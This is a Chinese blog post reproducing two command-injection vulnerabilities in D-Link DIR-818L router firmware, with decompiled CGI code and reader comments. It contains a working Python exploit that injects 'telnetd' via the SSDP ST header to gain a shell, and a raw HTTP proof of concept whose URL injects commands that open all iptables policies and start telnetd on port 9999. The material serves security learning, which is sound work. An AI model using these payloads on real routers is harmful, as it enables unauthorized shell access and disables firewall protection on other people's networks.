DLINK DIR-818l 漏洞复现

安全入门
2022-08-29 18:07
118243

固件信息:

版本型号:d-link DIR818L_FW105b01 A1
下载链接:https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-818LW

环境搭建:

firmAE 一把梭(我爱firmAE)
#漏洞信息

upnp

UPnP 是通用即插即用(Universal Plug and Play)服务的缩写,它是发现网络上各种设备提供的服务并于之交互的一种标准,现在越来越多的智能服务设备和家用网络的发展,为了使不同的智能设备之间进行网络互联互通,因此UPnP目前是家庭网络设备必须支持的特性之一,并且使用UPnP协议并不需要设备驱动程序,任何设备一旦连接上网络,所有在网络上的设备马上就能知道新加入的设备信息,以及新设备支持的服务和行为,这些设备之间能互相通信,也能直接使用和控制支持UPnP协议的设备,不需要人工设置。

UPnP 使用各种不同的协议来实现其功能:

SSDP: 简单服务发现协议,用于发现本地网络上的UPnP设备和在网络上单播他们可用的UPnP服务。
SCPD: 服务控制点定义,用于定义UPnP设备提供的服务需要的Action。
SOAP: 简单对象访问协议,用于实际的调用操作。
GENA: 通用事件通知架构,用于定义控制点向UPnP设备发送订阅消息和接受信息。

我在复现漏洞的时候常常会带入一点挖掘者的思路,所以我先抓包查看web处理数据会流向哪里

可以看到程序的逻辑是由cgi处理的,所以我们去翻找cgibin文件

漏洞信息1

漏洞是在cgibin文件中的ssdpcgi_main发生的
代码逻辑如下:

可以看到v2是我们可以控制的关键函数lxmldbc_system

程序并未过滤就直接拼接到system中
当参数http_st获取到恶意操作就可以进行shell
完整exp如下:

import sys
import os
import socket
from time import sleep
def config_payload(ip, port):
    header = "M-SEARCH * HTTP/1.1\n"
    header += "HOST:"+str(ip)+":"+str(port)+"\n"
    header += "ST:urn:device:1;telnetd\n"
    header += "MX:2\n"
    header += 'MAN:"ssdp:discover"'+"\n\n"
    return header
def send_conexion(ip, port, payload):
    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
    sock.sendto(payload,(ip, port))
    sock.close()
if __name__== "__main__":
    ip = raw_input("Router IP: ")
    port = 1900

headers = config_payload(ip, port)
send_conexion(ip, port, headers)
sleep(5)
os.system('telnet ' + str(ip))


成功shell

漏洞信息2

依旧是这个cgibin,而这次是soapcgi_main这个函数
代码逻辑如下

int soapcgi_main()
{
  int v0; // $s0
  int v1; // $s4
  char *v2; // $s3
  char *v3; // $s1
  char *v4; // $s0
  char *v5; // $s2
  int v6; // $a0
  const char *v7; // $a1
  const char *v8; // $a2
  char *v9; // $v0
  char *v10; // $s1
  char *v11; // $v0
  const char *v12; // $s0
  char *v13; // $v0
  const char *v14; // $s1
  __pid_t v15; // $v0
  char *v16; // $v0
  const char *v17; // $s3
  __pid_t v18; // $v0
  const char *v19; // $s7
  __pid_t v20; // $v0
  FILE *v21; // $s3
  __pid_t v22; // $v0
  __pid_t v23; // $v0

  v0 = 0;
  v1 = sub_40E6B4();
  if ( v1 >= 0 )
  {
    v2 = getenv("CONTENT_TYPE");
    v3 = getenv("REQUEST_URI");                 // cgi形式传参
    v4 = getenv("HTTP_SOAPACTION");
    v5 = getenv("REQUEST_METHOD");
    if ( v2 && !strncasecmp(v2, "text/xml", 8u) )
    {
      if ( !v3 )
        goto LABEL_21;
      if ( !v4 )
        goto LABEL_21;
      v9 = strchr(v3, '?');                     // 匹配?后面的数据,赋值给v9
      v10 = v9;
      if ( !v9 || strncmp(v9, "?service=", 9u) )// 判断v9是否存在和v9前几个字符是否符合
        goto LABEL_21;
      v11 = &v4[strlen(v4) - 1];
      if ( *v11 == 34 )
        *v11 = 0;
      v12 = &v4[*v4 == 0x22];
      v13 = strchr(v12, 35);
      dword_439100 = (int)v13;
      if ( !v13 )
      {
LABEL_21:
        v0 = -1;
        goto LABEL_22;
      }
      *v13 = 0;
      dword_439100 = (int)(v13 + 1);
      if ( !strcasecmp(v5, "POST") )
      {
        v14 = v10 + 9;                          // 将数据赋值给v14
        v15 = getpid();
        sprintf(byte_437CC0, "%s/pid%d", "/runtime/services/upnp", v15);
        cgibin_parse_request(sub_40E584, 0, 0x10000);
        v16 = getenv("SERVER_ID");
        v17 = (const char *)dword_439100;
        v19 = v16;
        v18 = getpid();
        sprintf(
          byte_438D00,
          "%s/ACTION.%s.php\nACTION_NODEBASE=%s\nINF_UID=%s\nSERVICE_TYPE=%s\nACTION_NAME=%s\nSHELL_FILE=%s/%s_%d.sh",
          "/htdocs/upnp",
          v14,                                  // 参数拼接到byte_438d00里面
          byte_437CC0,
          v19,
          v12,
          v17,
          "/var/run",
          v14,
          v18);
        if ( !xmldbc_ephp_wb(0, 0, byte_438D00, byte_437D00, 4096) )
        {
          if ( !cgibin_fill_http_content_len(byte_437D00, 4096) )
            printf("%s", byte_437D00);
          v20 = getpid();
          sprintf(byte_438D00, "%s/%s_%d.sh", "/var/run", v14, v20);
          v21 = fopen(byte_438D00, "a+");
          if ( v21 )
          {
            v22 = getpid();
            fprintf(v21, "rm -f %s/%s_%d.sh", "/var/run", v14, v22);
            fclose(v21);
            v23 = getpid();
            sprintf(byte_438D00, "sh %s/%s_%d.sh > /dev/console &", "/var/run", v14, v23);
            system(byte_438D00);                // 同理byte_438d00数组获取v14的数据,然后system执行
          }
        }
        v0 = 0;
        xmldbc_del(0, 0, byte_437CC0);
        goto LABEL_22;
      }
      v7 = "";
      v8 = "unsupported HTTP request";
      v6 = 400;

因为截图总是达不到我想要的效果所以,我就截图下来了
代码逻辑可以根据上面进行一个简单的代码分析
这个漏洞主要注意的是需要通过post在url上进行命令注入

poc如下

#nc 192.168.0.1 49152

POST /soap.cgi?service=whatever-control;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT;iptables -t nat -P PREROUTING ACCEPT;iptables -t nat -P OUTPUT ACCEPT;iptables -t nat -P POSTROUTING ACCEPT;telnetd -p 9999;whatever-invalid-shell HTTP/1.1
Host: 192.168.100.1:49152
Accept-Encoding: identity
Content-Length: 16
SOAPAction: "whatever-serviceType#whatever-action"
Content-Type: text/xml


可以看到端口9999已经呗开放
然后我们再nc去连接

成功shell

通过再cve的过滤和查询,发现这俩个漏洞在多个型号的iot设备中都有发生,可能这就是嵌入式设备在以前的一些通病,不过去分析这些漏洞,跟着挖掘者的思路去寻找,能帮我们更快的学习iot安全

分享到

参与评论

0 / 200

全部评论 3

zer01s的头像
大佬,想问下漏洞信息1中v2变量按您向脚本抓到的的WIiresahrk包是SSDP,字段中ST是ST: urn:dial-multiscreen-org:service:dial:1,那这个ST赋值给v2怎么绕过lxmldbc_system执行前的 if ( !strncmp(v2, "ssdp:all", 8u) 条件检查呢?
2023-10-19 15:21
zer01s的头像
没事了,看错了
2023-10-19 15:22
zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
投稿
签到
联系我们
关于我们